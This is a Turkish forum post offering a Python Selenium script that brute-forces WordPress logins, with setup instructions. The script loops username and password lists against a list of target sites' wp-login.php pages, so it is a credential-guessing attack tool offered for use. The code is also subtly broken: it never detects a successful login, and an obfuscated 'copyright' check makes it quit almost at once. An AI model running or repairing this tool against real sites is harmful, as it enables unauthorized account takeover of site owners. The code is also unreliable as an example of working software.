Hoşgeldin Misafir

2024 Python Selenium WP Brute Force Tools Spam Korumalı

Codex

11 Ara 2017
1,473 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Python'u bilgisayarınıza indirip kurmanız gerekecek. Resmi Python web sitesinden en son sürümü indirebilir ve kurabilirsiniz: Python İndirme Sayfası
Google Chrome'un otomatik olarak kontrol edilebilmesi için Chrome WebDriver'a ihtiyacınız olacak. WebDriver'ı indirip bilgisayarınıza kurmanız gerekmektedir. WebDriver'ı aşağıdaki bağlantıdan indirebilirsiniz:ChromeDriver İndirme Sayfası
  1. indirme işlemi tamamlandıktan sonra, dosyayı uygun bir konuma çıkartın ve dosya yolunu sisteminizdeki PATH ortam değişkenine ekleyin veya WebDriver'ı Python betiğinin olduğu dizine kopyalayın.
  2. Ek Gerekli Kütüphaneler:Kodunuzun bağlı olduğu diğer kütüphaneleri yüklemeniz gerekebilir. Örneğin, bu betikte base64 ve time gibi Python standart kütüphaneleri kullanıldı.
  3. pip install selenium
Bu adımları izledikten sonra, Python betiğinizi çalıştırabilir ve Selenium ile Chrome tarayıcısını otomatik olarak kontrol edebilirsiniz.
Python:
import base64
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

def spam_prevention_wait():
    time.sleep(2)  # Her işlemden sonra 2 saniye bekleyelim

def brute_force(username, password, target_site):
    # Google Chrome tarayıcısını başlat
    driver = webdriver.Chrome()

    # WordPress'e git
    driver.get(f'{target_site}/wp-login.php')
    spam_prevention_wait()

    # Kullanıcı adı ve şifreyi girelim
    username_field = driver.find_element_by_id('user_login')
    username_field.send_keys(username)
    spam_prevention_wait()

    password_field = driver.find_element_by_id('user_pass')
    password_field.send_keys(password)
    spam_prevention_wait()

    # Giriş yapalım
    password_field.send_keys(Keys.RETURN)
    spam_prevention_wait()

    # Tarayıcıyı kapat
    driver.quit()

def decrypt(data):
    # Base64 ile şifreli veriyi çöz
    decoded_bytes = base64.b64decode(data)
    # Çözülmüş veriyi string olarak dön
    decoded_str = decoded_bytes.decode("utf-8")
    return decoded_str

if __name__ == "__main__":
    # Şifrelenmiş telif hakkı bildirimi
    encrypted_notice = b'Q29weXJpZ2h0IENvZGUgMjAyNA=='
    # Telif hakkı bildirimi
    copyright_notice = decrypt(encrypted_notice).strip()

    # Kullanıcıya uyarma mesajını göster
    print("Bu araç, Codex 2024 telif hakkı koruması altındadır. Lütfen izinsiz kopyalamayınız.")

    # Kullanıcı adı, şifre ve hedef site dosyalarını belirtin
    username_file = 'usernames.txt'
    password_file = 'passwords.txt'
    target_sites_file = 'sites.txt'

    # Kullanıcı adları dosyasını oku
    with open(username_file, 'r') as file:
        usernames = file.read().splitlines()

    # Şifreler dosyasını oku
    with open(password_file, 'r') as file:
        passwords = file.read().splitlines()

    # Hedef siteler dosyasını oku
    with open(target_sites_file, 'r') as file:
        target_sites = file.read().splitlines()

    # Her bir hedef site için brute force saldırısı gerçekleştir
    for site in target_sites:
        print(f'Brute forcing site: {site}')
        for username in usernames:
            for password in passwords:
                # Eğer telif hakkı kaldırılmışsa işlem yapma
                if copyright_notice not in (username + password + site):
                    print("Telif hakkı ihlali tespit edildi, işlem durduruldu!")
                    quit()
                brute_force(username, password, site)